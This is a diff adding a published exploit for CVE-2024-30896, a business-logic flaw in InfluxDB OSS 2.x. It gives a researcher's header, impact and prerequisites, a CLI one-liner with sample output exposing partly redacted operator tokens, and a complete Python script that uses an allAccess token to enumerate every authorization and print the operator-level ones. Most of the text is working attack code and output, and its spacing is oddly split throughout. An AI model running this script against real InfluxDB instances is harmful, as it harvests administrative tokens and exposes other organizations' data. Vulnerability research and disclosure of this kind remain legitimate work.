1+ # Exploit Title: InfluxDB OSS Operator Privilege Escalation via BusinessLogic Flaw
2+ # Date: 22/03/2024
3+ # Exploit Author: Andrea Pasin (Xenom0rph97)
4+ # Researcher Homepage: https://xenom0rph97.github.io/xeno/
5+ # GitHub Exploit repo: https://github.com/XenoM0rph97/CVE-2024-30896
6+ # Software Link: https://www.influxdata.com/products/influxdb/
7+ # Version: 2.x <=> 2.7.11
8+ # Tested on: InfluxDB OSS 2.x
9+ # CVE: CVE-2024-30896
10+ # CVSS Base Score: 9.1
11+ # CVSS v3.1 Vector: AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
12+
13+ # CVE-2024-30896
14+
15+ ## Summary
16+ A business logic flaw in influxdb allows users who own a valid allAccess
17+ token to escalate their privileges at operator level by listing current
18+ authorization tokens .
19+
20+ ## Scenario
21+ Attacker might be a user which was gained access by an administrator via an
22+ allAccess token only within their organization .
23+ This user 's permissions will allow full control over the organization but
24+ will still prevent him to interact with other orgs .
25+
26+ ## Impact
27+ This vulnerability would allow a user to obtain unrestricted access to the
28+ influxdb instance . A similar condition might fully compromise
29+ Confidentiality , Integrity and Availability of data owned by users of
30+ different organizations . Additionally , since operator token has
31+ administrative permissions , Availability and Integrity of the entire
32+ influxdb instance might be compromised .
33+
34+ ## Prerequisites/Limitations
35+ 1. Attacker must have a valid allAccess token
36+ 2. allAccess token must have been created in the same Org where an operator
37+ token resides (ex . same Org as Admin user )
38+ 3. Attacker must be able to interact with influxdb instance via CLI or APIs
39+ (influxClient )
40+
41+ ## Steps to Reproduce
42+ ### Case 1: Exploitation via influxdb APIs:
43+ * Python Version * : 3
44+ * Requirements * : `influxdb_client==1.41.0`
45+ * Script usage *
46+ `` `
47+ % python3 ./ CVE - 2024 - 30896. py - h
48+ usage : CVE - 2024 - 30896. py [- h ] [- t TOKEN ] [- e ENDPOINTURL ] [- v [VERBOSE ]]
49+ [- vv [VVERBOSE ]]
50+
51+ optional arguments :
52+ - h , - - help show this help message and exit
53+ - t TOKEN , - - token TOKEN
54+ Custom or allAccess token to access influx DB
55+ instance
56+ - e ENDPOINTURL , - - endpointUrl ENDPOINTURL
57+ Endpoint Url of influxdb instance (ex . "
58+ https://myInfluxdbInstance:8086/" )
59+ - v [VERBOSE ], - - verbose [VERBOSE ]
60+ Enable verbose logging - INFO
61+ - vv [VVERBOSE ], - - vverbose [VVERBOSE ]
62+ Enable verbose logging - DEBUG
63+ `` `
64+
65+ ### Case 2: Exploitation via influx CLI
66+ 1. Execute: ` influx auth ls - t < allAccessToken > | grep write :/ orgs `. This
67+ will list all current active operator tokens on the influxdb instance .
68+
69+ * Example *
70+ `` `
71+ # Using an allAccess token
72+ influx auth ls - t U1OuqmFC {REDACTED } | grep U1OuqmFC {REDACTED }
73+
74+ 0 cc41c3b050e5000 U1OuqmFC {REDACTED }
75+ admin 0 cb9c92ee228b000 [read :orgs / 87 d0746948a3b3f5 / authorizations
76+ write :orgs / 87 d0746948a3b3f5 / authorizations
77+ read :orgs / 87 d0746948a3b3f5 / buckets write :orgs / 87 d0746948a3b3f5 / buckets
78+ read :orgs / 87 d0746948a3b3f5 / dashboards
79+ write :orgs / 87 d0746948a3b3f5 / dashboards read :/ orgs / 87 d0746948a3b3f5
80+ read :orgs / 87 d0746948a3b3f5 / sources write :orgs / 87 d0746948a3b3f5 / sources
81+ read :orgs / 87 d0746948a3b3f5 / tasks write :orgs / 87 d0746948a3b3f5 / tasks
82+ read :orgs / 87 d0746948a3b3f5 / telegrafs write :orgs / 87 d0746948a3b3f5 / telegrafs
83+ read :/ users / 0 cb9c92ee228b000 write :/ users / 0 cb9c92ee228b000
84+ read :orgs / 87 d0746948a3b3f5 / variables write :orgs / 87 d0746948a3b3f5 / variables
85+ read :orgs / 87 d0746948a3b3f5 / scrapers write :orgs / 87 d0746948a3b3f5 / scrapers
86+ read :orgs / 87 d0746948a3b3f5 / secrets write :orgs / 87 d0746948a3b3f5 / secrets
87+ read :orgs / 87 d0746948a3b3f5 / labels write :orgs / 87 d0746948a3b3f5 / labels
88+ read :orgs / 87 d0746948a3b3f5 / views write :orgs / 87 d0746948a3b3f5 / views
89+ read :orgs / 87 d0746948a3b3f5 / documents write :orgs / 87 d0746948a3b3f5 / documents
90+ read :orgs / 87 d0746948a3b3f5 / notificationRules
91+ write :orgs / 87 d0746948a3b3f5 / notificationRules
92+ read :orgs / 87 d0746948a3b3f5 / notificationEndpoints
93+ write :orgs / 87 d0746948a3b3f5 / notificationEndpoints
94+ read :orgs / 87 d0746948a3b3f5 / checks write :orgs / 87 d0746948a3b3f5 / checks
95+ read :orgs / 87 d0746948a3b3f5 / dbrp write :orgs / 87 d0746948a3b3f5 / dbrp
96+ read :orgs / 87 d0746948a3b3f5 / notebooks write :orgs / 87 d0746948a3b3f5 / notebooks
97+ read :orgs / 87 d0746948a3b3f5 / annotations
98+ write :orgs / 87 d0746948a3b3f5 / annotations read :orgs / 87 d0746948a3b3f5 / remotes
99+ write :orgs / 87 d0746948a3b3f5 / remotes read :orgs / 87 d0746948a3b3f5 / replications
100+ write :orgs / 87 d0746948a3b3f5 / replications ]
101+
102+ # Listing all available tokens passing allAccess token and retrieving only
103+ operator level tokens
104+ influx auth ls - t U1OuqmFC {REDACTED } | grep write :/ orgs
105+
106+ 0 cbb920e128e5000 gerKYLO0Ph_ibUk0y {REDACTED }
107+ admin 0 cb9c92ee228b000 [read :/ authorizations write :/ authorizations
108+ read :/ buckets write :/ buckets read :/ dashboards write :/ dashboards read :/ orgs
109+ write :/ orgs read :/ sources write :/ sources read :/ tasks write :/ tasks
110+ read :/ telegrafs write :/ telegrafs read :/ users write :/ users read :/ variables
111+ write :/ variables read :/ scrapers write :/ scrapers read :/ secrets
112+ write :/ secrets read :/ labels write :/ labels read :/ views write :/ views
113+ read :/ documents write :/ documents read :/ notificationRules
114+ write :/ notificationRules read :/ notificationEndpoints
115+ write :/ notificationEndpoints read :/ checks write :/ checks read :/ dbrp
116+ write :/ dbrp read :/ notebooks write :/ notebooks read :/ annotations
117+ write :/ annotations read :/ remotes write :/ remotes read :/ replications
118+ write :/ replications ]
119+
120+ influxdb_client == 1.41 .0
121+
122+ import influxdb_client
123+ import argparse
124+ import logging
125+ import sys
126+
127+ argParser = argparse .ArgumentParser ()
128+ argParser .add_argument ("-t" , "--token" , type = str , help = "Custom or allAccess token to access influx DB instance" )
129+ argParser .add_argument ("-e" , "--endpointUrl" , type = str , help = "Endpoint Url of influxdb instance (ex. \" https://myInfluxdbInstance:8086/\" )" )
130+ argParser .add_argument ("-v" , "--verbose" , type = bool , const = True , nargs = '?' , help = "Enable verbose logging - INFO" )
131+ argParser .add_argument ("-vv" , "--vverbose" , type = bool , const = True , nargs = '?' , help = "Enable verbose logging - DEBUG" )
132+
133+ args = argParser .parse_args ()
134+
135+ # Using user retrieved values or default (hardcoded) ones
136+ all_access_token = "<allAccessToken>"
137+ influx_endpoint_url = "<influxdbEndpointUrl>"
138+
139+ # Defining some colors
140+ red = "\033 [31m"
141+ yellow = "\033 [93m"
142+ purple = "\33 [1;95m"
143+ green = "\033 [0;92m"
144+ cyan = "\033 [96m"
145+ bold = "\033 [1m"
146+ endc = "\033 [39m"
147+
148+ if args .vverbose == True :
149+ logging .basicConfig (level = logging .DEBUG )
150+ elif args .verbose == True :
151+ logging .basicConfig (level = logging .INFO )
152+
153+ logger = logging .getLogger ()
154+
155+ if args .token :
156+ token = args .token
157+ else :
158+ logger .debug (f"{ yellow } User did not set a token, using default one{ endc } " )
159+ token = all_access_token
160+
161+ if args .endpointUrl :
162+ endpointUrl = args .endpointUrl
163+ else :
164+ logger .debug (f"{ yellow } User did not set an endpoint Url for influxdb, using default one{ endc } " )
165+ endpointUrl = influx_endpoint_url
166+
167+ logger .info (f"{ cyan } Connecting to influx DB instance{ endc } " )
168+ # Connecting to influxdb instance
169+ try :
170+ conn = influxdb_client .InfluxDBClient (
171+ url = endpointUrl ,
172+ token = token ,
173+ debug = False ,
174+ verify_ssl = True
175+ )
176+
177+ # Verify InfluxDB connection
178+ health = conn .ping ()
179+ if not health :
180+ logger .error (f"{ red } Unable to connect to db instace " + endpointUrl + f"{ endc } " )
181+ print (f"{ red } Quitting execution...{ endc } " )
182+ sys .exit (1 )
183+
184+ except Exception as e :
185+ logger .error (f"{ red } Failed to connect to db instance: " + endpointUrl + " Error: " + str (e ) + f"{ endc } " )
186+ print (f"{ red } Quitting execution...{ endc } " )
187+ sys .exit (1 )
188+
189+ # Retrieving all current auths
190+ logger .debug (f"{ yellow } Retrieving all auth tokens{ endc } " )
191+ print (f"{ cyan } Enumerating current authorizations...{ endc } " )
192+ try :
193+ auths = conn .authorizations_api ().find_authorizations ()
194+ except Exception as e :
195+ logger .error (f"{ red } Unable to retrieve authorizations. ERR: " + str (e ) + f"{ endc } " )
196+ print (f"{ red } Unable to retrieve authorizations. Quitting...{ endc } " )
197+ sys .exit (1 )
198+ if not auths :
199+ print (f"{ cyan } No Authorization tokens found on the instance{ endc } " )
200+ sys .exit (1 )
201+ print (f"{ cyan } { str (len (auths ))} tokens found on the instance{ endc } \n " )
202+ # Extracting operator token -> Parsing permissions to look for ("org = None" and "authType = write/auths"), not 100% efficiency -> TO OPTIMIZE
203+ logger .debug (f"{ yellow } Parsing auth permissions to retrieve operator tokens{ endc } " )
204+ print (f"{ cyan } Enumerating all operator tokens:{ endc } " )
205+ op_tokens = []
206+ # In order to understand if a token is of type "operator" we need to enumerate all permissions and look for "write/auths" on org 'None' -> Unrescticted access
207+ try :
208+ for auth in auths :
209+ if auth .permissions :
210+ for perm in auth .permissions :
211+ if perm .action == "write" and perm .resource .org == None and perm .resource .type == "authorizations" :
212+ op_tokens .append (auth .token )
213+ except Exception as e :
214+ logger .error (f"{ red } Unable to parse permissions on found authorizations. ERR: " + str (e ) + f"{ endc } " )
215+ print (f"{ red } Unable to parse permissions on found authorizations. Quitting execution...{ endc } " )
216+ sys .exit (1 )
217+
218+ logger .info (f"{ cyan } Printing all operator auth tokens{ endc } " )
219+ print (f"{ cyan } { str (len (op_tokens ))} operator tokens found.\n \n Listing all operator tokens:\n { endc } " )
220+ for op_t in op_tokens :
221+ print (f"{ green } { op_t } { endc } " )
0 commit comments